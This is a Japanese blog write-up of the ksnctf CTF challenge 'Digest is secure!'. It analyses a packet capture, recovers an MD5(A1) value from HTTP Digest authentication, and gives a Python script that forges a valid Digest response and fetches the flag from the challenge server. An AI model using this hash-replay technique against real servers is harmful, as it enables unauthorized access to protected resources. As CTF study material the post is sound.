読者です 読者をやめる 読者になる 読者になる

バスケット好きエンジニアの独り言

守口市で活動する小学生バスケットボールクラブのコーチが綴るブログです。

great basketball
with great friends

ksnctf #9 Digest is secure! WriteUp

HTTP Digest Authorization

与えられたpcapを見ていくと、TCPとHTTPのパケットが並ぶ。Protocol Hierarchy Staticsを見てもTCPとHTTPばかり。HTTPのパケットを見ると、Digest認証がかかっている。こいつを突破するんだなぁ。
f:id:grapeBiscuit:20170412075241p:plain レスポンスをよく見ると、aタグのhrefに"flag.html“の文字がある。絶対に怪しい。   ストーリーはflag.htmlをGET → Digest認証突破 → flagゲットといったところか。
f:id:grapeBiscuit:20170412081830p:plain

Cracking start!!!

Digest認証はパスワードをhash化して送信しているので、Basic認証よりセキュリティ強度が高いと言われる。
ダメもとでレスポンス文字列をmd5逆変換サイトで逆変換してみる。

キー値は、(keyword is)
c627e19450db746b739f41b64097d449:bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b:00000001:9691c249745d94fc:auth:31e101310bcd7fae974b921eb148099cです。

ふおっ!!! 出てきてしまった!!!
何故、CTFのhash値が逆変換できるのだろうか…? ご存知の方教えてください。
ともあれ、Digest認証の MD5(A1) の部分が分かった。Digest認証の仕組みは次の通りなので、得たMD5(A1)の値とサーバから返ってきたnonce等を用いて正しいレスポンスを送るスクリプトを書けばflagをgetできます。

A1 = ユーザ名 “:” realm “:” パスワード
A2 = HTTPのメソッド “:” コンテンツのURI
response = MD5( MD5(A1) “:” nonce “:” nc “:” cnonce “:” qop “:” MD5(A2) )

ソースコードはこちら

#!/usr/bin/env python
# coding: UTF-8

import urllib2
import hashlib

url = 'http://ksnctf.sweetduet.info:10080/~q9/flag.html'
username = "q9"
realm = "secret"
nonce = ""
uri = "/~q9/flag.html"
algorithm = "MD5"
response = ""
qop = "auth"
nc = "00000001"
cnonce = "9691c249745d94fc"
md5a1 = "c627e19450db746b739f41b64097d449"
a2 = 'GET:' + uri

# get nonce
try:
    data = urllib2.urlopen(url)
except urllib2.HTTPError, e:
    nonce = e.info()['WWW-Authenticate'].split('"')[3]

# generate request
response = hashlib.md5(md5a1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + qop + ':' + hashlib.md5(a2).hexdigest()).hexdigest()
auth = 'Digest username="' + username + '", realm="' + realm + '", nonce="' + nonce + '",uri="' + uri + '", algorithm=' + algorithm + ', response="' + response + '", qop=' + qop + ', nc=' + nc + ', cnonce="' + cnonce + '"'
header = {'Authorization' : auth}
req = urllib2.Request(url, None, header)

# get flag
data = urllib2.urlopen(req)
flag = data.read()
print flag